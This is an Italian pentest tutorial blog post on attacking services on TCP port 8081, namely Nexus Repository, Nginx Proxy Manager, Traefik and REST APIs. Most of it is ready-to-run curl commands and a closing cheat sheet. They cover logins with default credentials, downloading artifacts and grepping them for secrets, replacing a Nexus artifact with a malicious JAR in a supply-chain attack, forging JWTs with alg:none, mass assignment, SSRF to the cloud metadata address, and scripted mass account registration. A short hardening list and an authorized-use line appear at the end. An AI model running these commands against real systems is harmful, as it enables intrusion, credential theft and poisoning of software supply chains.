Porta 8081 Pentest: Nexus Repository, Traefik e OWASP API

Porta 8081: Nexus Repository default credentials, CVE-2019-7238 RCE, Traefik dashboard senza auth, OWASP API Security Top 10 con payload operativi e supply chain attack.
- Pubblicato il 2026-04-17
- Tempo di lettura: 5 min
La porta 8081 TCP è la “sorella minore” della 8080: quando la 8080 è già occupata da Tomcat o Jenkins, tutto il resto finisce sulla 8081. E quel “tutto il resto” è spesso più interessante del servizio principale: Nexus Repository Manager (dove l’azienda pubblica i propri artifact e container — con credenziali per i registry privati), Nginx proxy manager, pannelli di amministrazione custom, microservizi interni e API che gli sviluppatori non si sono preoccupati di proteggere perché “è solo la 8081, chi la trova?”. Tu la trovi. E quello che ci gira sopra è quasi sempre senza WAF, senza rate limiting e con credenziali di default attive.
In architetture a microservizi — lo standard nel 2026 — ogni servizio ha la propria porta HTTP. La 8081 è tipicamente il secondo microservizio di ogni stack. Se lo sviluppatore ha esposto la 8080, quasi certamente ha esposto anche la 8081.
1. Identificare il Servizio #
nmap -sV -p 8081 10.10.10.40curl -s http://10.10.10.40:8081/ -I
curl -s http://10.10.10.40:8081/ | head -80| Indicatore | Servizio | Prossimo step |
|---|---|---|
Server: Nexus o HTML con “Sonatype Nexus” | Nexus Repository | Default admin:admin123 |
Server: nginx con pagina proxy manager | Nginx Proxy Manager | Default admin@example.com:changeme |
| Pagina login con “Traefik” | Traefik Dashboard | Spesso senza auth |
| JSON API senza UI | Microservizio | Enumera endpoint |
| HTML con “McAfee” o “ePO” | McAfee ePO | Default creds |
Server: Artifactory | JFrog Artifactory | Default admin:password |
| Portale con “Cisco” | Cisco device management | Default creds specifiche |
2. Nexus Repository Manager #
Nexus è il repository manager enterprise più diffuso: archivia artifact Maven, npm, Docker images, PyPI packages e NuGet. Averci accesso significa poter scaricare tutto il codice compilato dell’azienda e, in certi casi, pushare artifact malevoli.
Default credentials #
# Nexus 3 (il più diffuso)
curl -s -u "admin:admin123" http://10.10.10.40:8081/service/rest/v1/status{"edition":"PRO","version":"3.64.0"}admin:admin123 è il default di Nexus. Cambiarlo dopo la prima login è consigliato ma quasi mai fatto.
Enumerazione repository #
# Lista tutti i repository
curl -s -u admin:admin123 http://10.10.10.40:8081/service/rest/v1/repositories | python3 -m json.tool[
{"name": "maven-releases", "format": "maven2", "type": "hosted"},
{"name": "docker-private", "format": "docker", "type": "hosted"},
{"name": "npm-private", "format": "npm", "type": "hosted"},
{"name": "raw-internal", "format": "raw", "type": "hosted"}
]Quattro repository interni: codice Java, Docker images, pacchetti npm e file grezzi.
Scaricare artifact (codice sorgente compilato) #
# Cerca artifact nel repository Maven
curl -s -u admin:admin123 "http://10.10.10.40:8081/service/rest/v1/search?repository=maven-releases" | python3 -m json.tool
# Scarica un JAR
curl -s -u admin:admin123 -O "http://10.10.10.40:8081/repository/maven-releases/com/corp/webapp/1.0.0/webapp-1.0.0.jar"
# Decompila il JAR
mkdir /tmp/decompiled && cd /tmp/decompiled
jar xf webapp-1.0.0.jar
# Cerca credenziali
grep -riE "password|secret|token|jdbc" . 2>/dev/nullDocker images dal registry Nexus #
# Nexus come Docker registry (porta separata, spesso 8082 o 8083)
curl -s http://10.10.10.40:8082/v2/_catalog
# oppure via Nexus API
curl -s -u admin:admin123 "http://10.10.10.40:8081/service/rest/v1/search?format=docker"
# Pull immagine
docker pull 10.10.10.40:8082/webapp-prod:latestStesse tecniche del Docker Registry sulla porta 5000.
Supply chain attack via Nexus #
Se hai accesso write:
# Carica un artifact malevolo con lo stesso GroupId/ArtifactId
curl -u admin:admin123 -X PUT \
"http://10.10.10.40:8081/repository/maven-releases/com/corp/utils/2.0.0/utils-2.0.0.jar" \
--upload-file malicious_utils.jarSe gli sviluppatori fanno mvn install → scaricano il tuo JAR malevolo al posto di quello legittimo.
3. Nginx Proxy Manager #
# Default credentials
# admin@example.com:changeme
curl -s -X POST http://10.10.10.40:8081/api/tokens \
-H "Content-Type: application/json" \
-d '{"identity":"admin@example.com","secret":"changeme"}'Con accesso al Proxy Manager:
- Vedi tutti i servizi interni proxy-ati (hostname, porte) → mappa della rete
- Crea un nuovo proxy che espone un servizio interno (es: Redis o database) su Internet
- Modifica configurazione per intercettare traffico (MITM)
4. Traefik Dashboard #
Traefik è il reverse proxy/load balancer standard in ambienti Docker e Kubernetes. La dashboard sulla 8081 è spesso senza auth.
curl -s http://10.10.10.40:8081/api/overview | python3 -m json.tool
curl -s http://10.10.10.40:8081/api/http/routers | python3 -m json.tool
curl -s http://10.10.10.40:8081/api/http/services | python3 -m json.toolL’API espone: tutti i router (URL → servizio), tutti i servizi backend con IP e porte, certificati TLS, middleware configurati. È la mappa completa dell’infrastruttura web.
5. OWASP API Security Top 10 — Payload per API sulla 8081 #
Le API sulla 8081 sono quasi sempre meno protette. Ecco i test specifici per API REST.
API1: Broken Object Level Authorization (BOLA) #
# Modifica l'ID nella richiesta per accedere a risorse altrui
curl -s http://10.10.10.40:8081/api/v1/orders/1001 -H "Authorization: Bearer $TOKEN"
curl -s http://10.10.10.40:8081/api/v1/orders/1002 -H "Authorization: Bearer $TOKEN"
# Se vedi l'ordine 1002 che non è tuo → BOLAAPI2: Broken Authentication #
# JWT senza verifica firma
# Modifica il payload JWT (cambia "role":"user" in "role":"admin")
# Invia con firma rimossa (alg: none)
jwt_tool $JWT -T -S n
# API key debole o prevedibile
curl -s http://10.10.10.40:8081/api/data -H "X-API-Key: test"
curl -s http://10.10.10.40:8081/api/data -H "X-API-Key: 12345"API3: Broken Object Property Level Authorization #
# Mass assignment — invia proprietà extra che non dovresti poter impostare
curl -s -X PUT http://10.10.10.40:8081/api/v1/users/me \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"name":"Hacker","role":"admin","credits":999999}'API4: Unrestricted Resource Consumption #
# L'API non ha rate limiting? Test con burst di richieste
for i in $(seq 1 100); do
curl -s http://10.10.10.40:8081/api/v1/search?q=test &
done
wait
# Richiesta che forza elaborazione pesante
curl -s http://10.10.10.40:8081/api/v1/export?format=csv&limit=99999999API5: Broken Function Level Authorization #
# Accedi a endpoint admin con token utente normale
curl -s http://10.10.10.40:8081/api/v1/admin/users -H "Authorization: Bearer $USER_TOKEN"
curl -s -X DELETE http://10.10.10.40:8081/api/v1/admin/users/2 -H "Authorization: Bearer $USER_TOKEN"
# Cambia HTTP method
curl -s -X GET http://10.10.10.40:8081/api/v1/users # permesso
curl -s -X DELETE http://10.10.10.40:8081/api/v1/users/1 # permesso anche questo?API6: Unrestricted Access to Sensitive Business Flows #
# Automazione di flussi che dovrebbero essere manuali
# Esempio: creazione massiva di account
for i in $(seq 1 100); do
curl -s -X POST http://10.10.10.40:8081/api/v1/register \
-d "{\"email\":\"bot$i@spam.com\",\"password\":\"test123\"}"
doneAPI7: Server Side Request Forgery (SSRF) #
# Ogni parametro URL nelle API è un potenziale SSRF
curl -s -X POST http://10.10.10.40:8081/api/v1/webhooks \
-H "Content-Type: application/json" \
-d '{"url":"http://169.254.169.254/latest/meta-data/"}'API8: Security Misconfiguration #
# Documentazione API esposta
curl -s http://10.10.10.40:8081/swagger.json
curl -s http://10.10.10.40:8081/openapi.yaml
curl -s http://10.10.10.40:8081/graphql?query={__schema{types{name}}}
# GraphQL introspection (espone tutto lo schema)
curl -s http://10.10.10.40:8081/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{__schema{queryType{name}mutationType{name}types{name fields{name}}}}"}'
# CORS permissivo
curl -s http://10.10.10.40:8081/api/data -H "Origin: http://evil.com" -IAPI9: Improper Inventory Management #
# Cerca versioni vecchie dell'API (meno protette)
curl -s http://10.10.10.40:8081/api/v1/users
curl -s http://10.10.10.40:8081/api/v2/users
curl -s http://10.10.10.40:8081/api/beta/users
curl -s http://10.10.10.40:8081/api/internal/users
# Endpoint di debug dimenticati
curl -s http://10.10.10.40:8081/api/debug
curl -s http://10.10.10.40:8081/api/test
curl -s http://10.10.10.40:8081/api/devAPI10: Unsafe Consumption of APIs #
# Se l'API consuma dati da fonti esterne senza validazione
# Invia payload malevoli nei campi che verranno processati
curl -s -X POST http://10.10.10.40:8081/api/v1/import \
-H "Content-Type: application/json" \
-d '{"url":"http://10.10.10.200/malicious.json"}'6. Detection & Hardening #
- Autenticazione su ogni servizio — niente anonymous access sulla 8081
- Cambia credenziali di default (Nexus, Nginx Proxy Manager, Traefik)
- Firewall — 8081 raggiungibile solo dalla rete interna
- API Gateway con rate limiting, auth, logging
- Disabilita Swagger/OpenAPI in produzione
- RBAC sulle API — principio del minimo privilegio
- Monitora la 8081 come la 80 — stessi alert, stesso logging
7. Cheat Sheet Finale #
| Azione | Comando |
|---|---|
| Nmap | nmap -sV -p 8081 target |
| Banner | curl -s http://target:8081/ -I |
| Nexus | curl -u admin:admin123 .../service/rest/v1/status |
| Nexus repos | curl -u admin:admin123 .../service/rest/v1/repositories |
| Nginx PM | curl -X POST .../api/tokens -d '{"identity":"admin@example.com","secret":"changeme"}' |
| Traefik | curl http://target:8081/api/http/routers |
| Swagger | curl http://target:8081/swagger.json |
| GraphQL | curl .../graphql -d '{"query":"{__schema{types{name}}}"}' |
| BOLA test | Incrementa ID in GET /api/resource/ID |
| Mass assign | PUT /api/users/me -d '{"role":"admin"}' |
| SSRF | POST /api/webhooks -d '{"url":"http://169.254.169.254/"}' |
| Gobuster | gobuster dir -u http://target:8081 -w wordlist |
Riferimento: OWASP API Security Top 10 2023, Sonatype Nexus docs, HackTricks. Uso esclusivo in ambienti autorizzati. https://www.pentestpad.com/port-exploit/port-8081-http-mgmt-http-management-protocol
Le API della tua azienda sono esposte sulla 8081 senza protezione? Scoprilo con un assessment HackIta. Per chi vuole padroneggiare l’API security: formazione dedicata.







